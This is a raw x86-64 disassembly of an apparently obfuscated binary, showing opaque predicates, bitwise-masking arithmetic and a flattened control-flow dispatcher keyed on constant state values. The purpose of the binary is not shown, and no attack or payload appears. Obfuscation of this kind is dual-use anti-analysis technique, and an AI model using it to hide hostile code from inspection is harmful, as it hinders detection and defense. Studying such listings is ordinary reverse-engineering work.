and edx, 0x2d3a1849
and ecx, 0xd2c5e7b6
or ecx, edx
mov edx, ecx
xor edx, 0x25080049
xor ecx, 0x5000c294
and ecx, 0x5832da94
and edx, 0xa7cd256b
or edx, ecx
xor edx, 0xa7cd256b
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and dl, al
mov ebx, ecx
and bl, r8b
or bl, dl
xor al, bl
and al, bl
xor cl, r8b
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
mov eax, 0xcd173f72
mov ebp, 0xc0362475
jmp 0x14013be36
mov ecx, 0xd1f22c0
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x3f783dc
and ebp, 0xfc087c23
or ebp, edi
or ecx, ebx
and ebx, 0x3f783dc
and edx, 0xfc087c23
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
not esi
mov ebx, ecx
or ebx, 0x4fd45ca3
mov edi, ebx
not edi
mov edx, esi
or edx, 0xb02ba35c
mov ebp, edx
not ebp
and ebx, 0x9c2654fd
and edi, 0x2009a300
or edi, ebx
and edx, 0x9c2654fd
and ebp, 0x43d00802
or ebp, edx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0x5015b171
and ebp, 0xafea4e8e
or ebp, edx
mov ebx, ebp
xor ebx, 0x1541a0c1
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
mov edx, ecx
not edx
and edx, 0x6a5f1d70
and ecx, 0x95a0e28f
or ecx, edx
mov edx, ecx
xor edx, 0x9520a28d
xor ecx, 0x6a5f1d70
xor ebp, 0xe03e122c
mov edi, ebp
and edi, 0x4a885d12
and ebx, 0xb577a2ed
or ebx, edi
or ebp, ecx
and ecx, 0x4a885d12
and edx, 0xb577a2ed
or edx, ecx
xor edx, ebx
not ebp
or ebp, edx
mov ecx, ebp
mov edx, ebp
xor edx, 0xaa3149fb
and edx, ebp
not ebp
and ebp, 0xa0310911
and ecx, 0xa0040ea
or ecx, ebp
xor ecx, 0xa0040ea
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xd75145cc
and edx, 0x28aeba33
or edx, ecx
mov ecx, edx
xor ecx, 0x1e1208
xor edx, 0x4c400c01
and edx, 0xcec1edc1
and ecx, 0x313e123e
or ecx, edx
mov edx, ecx
xor edx, 0x10102a
xor ecx, 0x4a0141c0
and ecx, 0x7b2f43d4
and edx, 0x84d0bc2b
or edx, ecx
mov ecx, edx
xor ecx, 0x702a0304
xor edx, 0xc2a
and edx, 0xb054cfa
and ecx, 0xf4fab305
or ecx, edx
xor ecx, 0xf4fab305
setne r10b
sete r9b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg dl
mov ebx, eax
xor al, r9b
and r9b, dl
and bl, r10b
or bl, r9b
mov ecx, edx
xor cl, r10b
or dl, r10b
xor dl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xa1dd1479
mov ebp, 0xb2cb9f09
cmovne ecx, ebp
test dl, 1
mov edx, 0xa1dd1479
cmovne ecx, edx
test al, 1
jmp 0x14013e28d
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov edx, ebp
or edx, 0x28b430ca
mov edi, ebp
and edi, 0x28b430ca
mov ecx, ebx
and ecx, 0xd74bcf34
or ecx, edi
and edx, 0x28b430cb
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5c3e7055
and edx, 0xa3c18faa
or edx, ecx
mov ecx, edx
xor ecx, 0x3418f02
xor edx, 0x5c3e7055
mov edi, edx
and edi, 0xe8b220ac
and ecx, 0x174ddf53
or ecx, edi
or edx, ebp
and ebp, 0xe8b220ac
and ebx, 0x174ddf53
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov r11d, eax
xor r11b, r9b
mov r10d, r11d
xor r10b, 1
xor cl, r8b
and al, r9b
or al, r11b
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov r8d, r11d
and r8b, r10b
mov ebx, eax
and bl, cl
mov edx, r8d
xor dl, 1
xor r8b, r11b
or dl, r10b
xor dl, 1
or dl, r8b
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
xor bl, dl
xor cl, r10b
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x8e981f65
mov ecx, 0x1ef348e0
cmovne edx, ecx
test al, 1
mov ecx, 0x8e981f65
cmovne ecx, edx
jmp 0x14013d3d1
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, edx
not edx
mov ebx, edx
and ebx, 0xf86c6752
and ecx, 0x79398ad
or ecx, ebx
mov ebx, ecx
xor ebx, 0x70200ac
xor ecx, 0xf86c6752
or ecx, 1
mov edi, ebp
not edi
mov esi, ecx
and esi, 0x78dddf12
and ebx, 0x872220ec
or ebx, esi
or ecx, edi
and edi, 0x78dddf12
and ebp, 0x872220ed
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xb9853f0f
and ecx, 0x467ac0f0
or ecx, ebp
xor ecx, 0x467ac0f0
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xca52ada6
and ecx, 0x35ad5259
or ecx, edx
xor ecx, 0x35ad5259
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
mov eax, r9d
xor al, r8b
mov edx, eax
xor dl, 1
mov ecx, edx
xor cl, bl
and cl, dl
xor bl, r9b
not bl
and bl, r9b
and al, r8b
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, cl
xor cl, 1
and al, cl
or al, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x194c2982
mov ebp, 0xd0716ce1
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0x194c2982
jmp 0x14013d209
mov ecx, 0x6ec54474
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0xd249f033
mov ecx, eax
xor ecx, 0xd249f033
and ecx, eax
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x2db60fcd
and ecx, 0xd249f032
or ecx, edx
and ebp, 0xee94ab1f
and eax, 0x116b54e0
or eax, ebp
mov edx, eax
xor edx, 0x116b54e0
xor eax, 0xee94ab1f
and eax, ecx
not ecx
and edx, ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x14024b6e4], 9
setg dl
xor al, dl
xor al, 1
xor dl, al
and dl, al
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x480e327a
mov ebp, 0xd126aab7
cmovne eax, ebp
test cl, 1
mov ecx, 0x480e327a
jmp 0x14013c7fd
mov eax, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea ebp, [rax - 1]
imul ebp, eax
mov edx, ebp
not edx
mov eax, ebp
or eax, 1
mov ebx, eax
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, eax
and edi, 0x8b1023d9
and ebx, 0x74efdc26
or ebx, edi
or eax, ebp
and ebp, 0x8b1023d9
and edx, 0x74efdc26
or edx, ebp
xor edx, ebx
not eax
or eax, edx
mov ebx, eax
not ebx
or eax, 0xd773ed8b
mov ebp, eax
not ebp
or ebx, 0x288c1274
mov edx, ebx
not edx
and eax, 0xde411cc4
and ebp, 0x208c0230
or ebp, eax
and ebx, 0xde411cc4
and edx, 0x132e10b
or edx, ebx
xor edx, ebp
mov eax, edx
not eax
and eax, 0xf1e537e5
and edx, 0xe1ac81a
or edx, eax
xor edx, 0x2696da6e
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r10b
mov ebx, r10d
xor bl, al
and bl, r10b
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
xor cl, 1
mov r11d, ecx
xor r11b, dl
or cl, dl
xor cl, 1
or cl, r11b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, r9b
and r9b, al
and r10b, r8b
or r10b, r9b
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xc19a287b
mov eax, 0x5fb293a8
cmovne ecx, eax
test bl, 1
mov ebp, 0xc19a287b
cmove ecx, ebp
test dl, 1
jmp 0x14013d209
mov ecx, 0xcc2b0366
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x202807c9
and ecx, 0xdfd7f836
or ecx, eax
mov eax, ecx
not eax
and eax, 0xe08afe2
and ecx, 0xf1f7501d
or ecx, eax
mov eax, ecx
xor eax, 0xd1df57d4
xor ecx, 0x2e20a82a
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x8668bfe3
and ecx, eax
and eax, 0x7997401c
or eax, edx
xor eax, 0x7997401c
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
setne al
cmp dword [0x14024b6e4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
xor dl, 1
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0xe49a4d09
mov ebp, 0xa85e1df3
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0xe49a4d09
cmovne ecx, ebp
jmp 0x14013dd1e
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xc22042
mov ebx, ecx
and ebx, 0xb5140121
or ebx, edx
xor ebx, 0xb5140121
mov edx, ecx
xor edx, 0xb5d62163
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x4a29de9d
and edx, 0xb5d62162
or edx, ebx
and ebp, 0x5bb873bb
and ecx, 0xa4478c44
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa4478c44
xor ecx, 0x5bb873bb
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, cl
and al, r9b
mov ebx, r10d
or bl, al
xor al, 1
or al, r8b
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xf7743b65
mov ebp, 0xeea06576
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xf7743b65
jmp 0x14013dd20
mov eax, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebp, eax
and ebp, 0x1eca81fa
mov edx, edi
and edx, 0xe1357e04
or edx, ebp
xor edx, 0xe1357e04
mov ebx, edi
xor ebx, 0xfffffffe
and ebx, edi
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0xa2c01be4
and ebx, 0x5d3fe41b
or ebx, edx
and edi, 0xa2c01be4
and eax, 0x5d3fe41b
or eax, edi
xor eax, ebx
not eax
or eax, ebp
cmp eax, 0xffffffff
sete r8b
setne r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, r9d
or bl, cl
xor bl, 1
mov r11d, eax
or r11b, r8b
xor r11b, 1
mov r10d, ebx
and r10b, r11b
xor r11b, bl
or r11b, r10b
and r9b, cl
and al, r8b
or al, r9b
mov ebx, ecx
and bl, r8b
xor cl, r8b
or cl, bl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
xor al, 1
mov ebx, r11d
xor bl, 1
mov edx, r11d
and dl, bl
mov ecx, edx
xor cl, 1
xor dl, r11b
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
mov edx, r11d
xor dl, al
or al, r11b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xd1f22c0
mov ebp, 0xda2372c1
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xd1f22c0
jmp 0x1401306c8
mov ecx, 0x7573e956
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x4641b6b6
and ecx, 0xb9be4949
or ecx, edx
mov edx, ecx
xor edx, 0x4641b6b6
mov ebx, ecx
xor ebx, 0xb9be4949
xor ecx, 0x6b9fb436
mov ebp, ecx
and ebp, ebx
and ecx, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xd221fd7e
and ecx, 0x2dde0281
or ecx, ebp
and edx, 0xac3c57e
mov ebp, ebx
and ebp, 0xf53c3a81
or ebp, edx
xor ebp, 0xac3c57f
and ebx, 1
or ebx, ebp
mov edx, ebx
not edx
and edx, 0xb98dd5bd
and ebx, 0x46722a42
or ebx, edx
mov ebp, ebx
xor ebp, 0x46402840
xor ebx, 0xb98dd5bd
mov edx, ecx
not edx
mov edi, edx
and edi, 0xa0bad616
and ecx, 0x5f4529e9
or ecx, edi
or edx, ebx
and ebx, 0xa0bad616
and ebp, 0x5f4529e9
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xe2540bfb
and ecx, edx
and edx, 0x1dabf404
or edx, ebp
mov ebp, edx
xor ebp, 0x158ba404
xor edx, 0xe2540bfb
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x82451e3
and ebp, 0xf7dbae1c
or ebp, edi
or edx, ebx
and ebx, 0x82451e3
and ecx, 0xf7dbae1c
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6b7556bf
and edx, 0x948aa940
or edx, ecx
xor edx, 0x948aa940
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xbf219678
mov ebp, 0x7ae2a0fb
cmovne eax, ebp
test cl, 1
mov ecx, 0xbf219678
cmovne ecx, eax
jmp 0x14013dd1e
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x220004
mov edx, edi
and edx, 0x9c18a2a0
or edx, ebp
xor edx, 0x9c18a2a0
mov ebx, edi
and ebx, 0x63c55d5b
or ebx, edx
mov edx, ebx
not edx
and edx, 0x63c55d5a
and ebx, 0x9c3aa2a5
or ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x178d107
and ebx, 0xfe872ef8
or ebx, edx
and edi, 0x178d107
and ecx, 0xfe872ef8
or ecx, edi
xor ecx, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r9b
setne r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r8b
and cl, al
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r10b
and cl, r9b
or cl, dl
mov edx, eax
xor dl, r9b
and dl, al
and r10b, r8b
and al, r9b
or al, r10b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and al, dl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
and bl, al
xor al, 1
and al, cl
or al, bl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x54c6a780
cmovne ebp, r13d
test dl, 1
mov ecx, 0x54c6a780
cmovne ecx, ebp
test al, al
jmp 0x14013e28d
mov ecx, dword [0x14024b6e8]
mov r9d, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x2ed5ca57
and ebp, 0xd12a35a8
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xd12a35a8
and ebp, 0x2ed5ca57
or ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebp
xor edx, 0xe478d9f6
mov edi, edx
and edi, ecx
and edx, ebp
mov ebx, edi
not ebx
mov esi, edx
not esi
mov eax, ebx
and eax, 0xcffa354c
and edi, 0x3005cab3
or edi, eax
or ebx, esi
and esi, 0xcffa354c
and edx, 0x3005cab3
or edx, esi
xor edx, edi
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x1b872608
and ebx, 0xe478d9f7
or ebx, eax
and ebp, 0xae3bc0c7
mov eax, ecx
and eax, 0x51c43f38
or eax, ebp
xor eax, 0xae3bc0c6
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xc7682f9a
and ecx, 0x3897d065
or ecx, eax
xor ecx, 0x3897d065
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xe5b640f3
and eax, ecx
not ecx
and ecx, 0x21e8d82e
and edx, 0xde1727d1
or edx, ecx
mov ecx, edx
xor ecx, 0x4160081
xor edx, 0x21a04022
or edx, 0x1a49bf0c
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0xd1c8b25c
and ecx, 0x243640a3
or ecx, ebx
or edx, ebp
and ebp, 0xd1c8b25c
and eax, 0x2e374da3
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x1a49bf0c
and edx, 0xe5b640f3
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x7a5c2e27
and edx, 0x85a3d1d8
or edx, ecx
xor edx, 0x7a5c2e27
xor eax, edx
test eax, edx
setne r8b
sete r10b
cmp r9d, 0xa
setl r11b
cmp r9d, 9
setg r9b
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
mov edx, ecx
xor dl, 1
xor cl, bl
or dl, al
xor dl, 1
or dl, cl
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, r9d
xor cl, al
xor cl, 1
and cl, al
or al, r9b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor r11b, r10b
mov ecx, r9d
xor cl, r8b
or r9b, r8b
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, r11b
xor r11b, 1
xor cl, 1
or r11b, r9b
xor r11b, 1
or r11b, cl
xor al, 1
mov edx, eax
or dl, r11b
xor al, r11b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x284f3c60
mov eax, 0x40fe9dd4
cmovne ecx, eax
test dl, 1
mov edx, 0x284f3c60
cmovne ecx, edx
jmp 0x140138baf
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x424d0ddd
and edx, ecx
and ecx, 0xbdb2f222
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8328002
xor ecx, 0x424d0ddd
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xb5897761
and ebp, 0x4a76889e
or ebp, edi
or ecx, ebx
and ebx, 0xb5897761
and edx, 0x4a76889e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xc5ac2fc0
and edx, 0x3a53d03f
or edx, ebp
xor edx, 0x3a53d03f
or edx, ecx
cmp edx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd649e256
mov ebp, 0x1ccecd8e
cmovne ecx, ebp
test al, 1
mov eax, 0xd649e256
cmovne eax, ecx
test dl, dl
jmp 0x1401306c8
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfd2a4775
and edx, ebp
not ebp
and ebp, 0xf8004275
and ecx, 0x52a0500
or ecx, ebp
xor ecx, 0x52a0500
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x2d5b88a
and edx, 0xfd2a4775
or edx, ecx
mov ebx, edx
not ebx
mov ecx, edx
xor ecx, 0x3e259bd8
mov ebp, ecx
and ebp, ebx
and ecx, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x5e9abd39
and ecx, 0xa16542c6
or ecx, ebp
mov edi, ecx
xor edi, 0x8600d804
and edx, 0x8e00379e
mov ebp, ebx
and ebp, 0x71ffc861
or ebp, edx
xor ebp, 0x8e00379f
and ebx, 1
or ebx, ebp
mov edx, ebx
not edx
and edx, 0x68139c3c
and ebx, 0x97ec63c3
or ebx, edx
mov edx, ebx
xor edx, 0x86844040
xor ebx, 0x68139c3c
xor ecx, 0x60bf26e0
mov ebp, ecx
and ebp, 0x5968279b
and edi, 0xa697d864
or edi, ebp
or ecx, ebx
and ebx, 0x5968279b
and edx, 0xa697d864
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x88b44cfd
and edx, 0x774bb302
or edx, ecx
mov ecx, edx
xor ecx, 0x4464
xor edx, 0x774bb302
mov ebp, edx
and ebp, 0xaefe899b
and ecx, 0x51017664
or ecx, ebp
xor ecx, 0x51017664
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov r10d, r9d
or r10b, dl
mov eax, r9d
xor al, dl
not al
and al, dl
mov ebx, r10d
xor bl, al
xor al, 1
xor bl, 1
or al, r10b
xor al, 1
or al, bl
and r8b, cl
and dl, r9b
or dl, r8b
mov ebx, ecx
xor bl, r9b
or cl, r9b
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov ebx, eax
xor bl, 1
mov ecx, eax
and cl, bl
mov r9d, edx
and r9b, r8b
mov r10d, ecx
and r10b, al
xor cl, al
or cl, r10b
mov eax, r9d
xor al, 1
xor r9b, dl
or al, r8b
xor al, 1
or al, r9b
xor al, cl
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0xb1de5c74
mov ebp, 0x301893eb
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xb1de5c74
jmp 0x14013dd20
mov edx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x862ce157
and edx, ecx
and ecx, 0x79d31ea8
or ecx, ebp
xor ecx, 0x79d31ea8
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebx, ecx
mov ebp, ecx
xor ebp, 0x5147f2f5
and ebp, ecx
not ecx
and ecx, 0x245a00e2
and ebx, 0xdba5ff1d
or ebx, ecx
mov ecx, ebx
xor ecx, 0xdba5ff1d
xor ebx, 0x245a00e2
mov edx, ebx
or edx, 0xaeb80d0a
mov edi, edx
not edi
mov esi, ebp
not esi
mov eax, edx
and eax, 0x95c211ab
and edi, 0x4005e254
or edi, eax
or edx, esi
and esi, 0x95c211ab
and ebp, 0x6a3dee54
or ebp, esi
xor ebp, edi
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0xae757a90
and edx, 0x518a856f
or edx, eax
xor edx, 0xcd779b
and ebx, 0xb1544857
mov eax, ecx
and eax, 0x4eabb7a8
or eax, ebx
xor eax, 0xb1544856
and ecx, 1
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7040300
mov edx, ecx
and edx, 0xb0814078
or edx, eax
xor edx, 0xb0814078
and ecx, 0x487abc87
or ecx, edx
mov eax, ecx
not eax
and eax, 0x904c2053
and ecx, 0x6fb3dfac
or ecx, eax
mov eax, ecx
xor eax, 0xd8361894
xor ecx, 0x27c9632b
mov edx, ecx
and edx, 0x26c1c462
and eax, 0xd93e3b9d
or eax, edx
xor eax, 0x26c1c462
xor ecx, eax
test ecx, eax
setne r9b
sete cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg al
mov ebx, eax
xor bl, cl
xor bl, 1
or bl, al
and cl, al
and dl, r9b
or dl, cl
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xea92fd5
mov ebp, 0x403a09e2
cmovne eax, ebp
test dl, dl
cmovne eax, ebp
not cl
test cl, 1
mov ecx, 0xea92fd5
jmp 0x1401306c8
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x6bfc73cb
and edx, ebp
not ebp
and ebp, 0x60c42389
and ecx, 0xb385042
or ecx, ebp
xor ecx, 0xb385042
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x94038c34
and edx, 0x6bfc73cb
or edx, ecx
mov ebx, edx
not ebx
mov ebp, edx
xor ebp, 0xebc14569
and ebp, ebx
mov ecx, edx
and ecx, 0x143eba96
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x634221b5
and ecx, 0x9cbdde4a
or ecx, ebp
mov ebp, ecx
xor ebp, 0x42488300
and ebx, 1
xor edx, 0xfffffffe
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xdde1dec6
and edx, 0x221e2139
or edx, ebx
mov ebx, edx
xor ebx, 0x20a2111
xor edx, 0xdde1dec6
xor ecx, 0x888364dd
mov edi, ecx
and edi, 0x3d351c2a
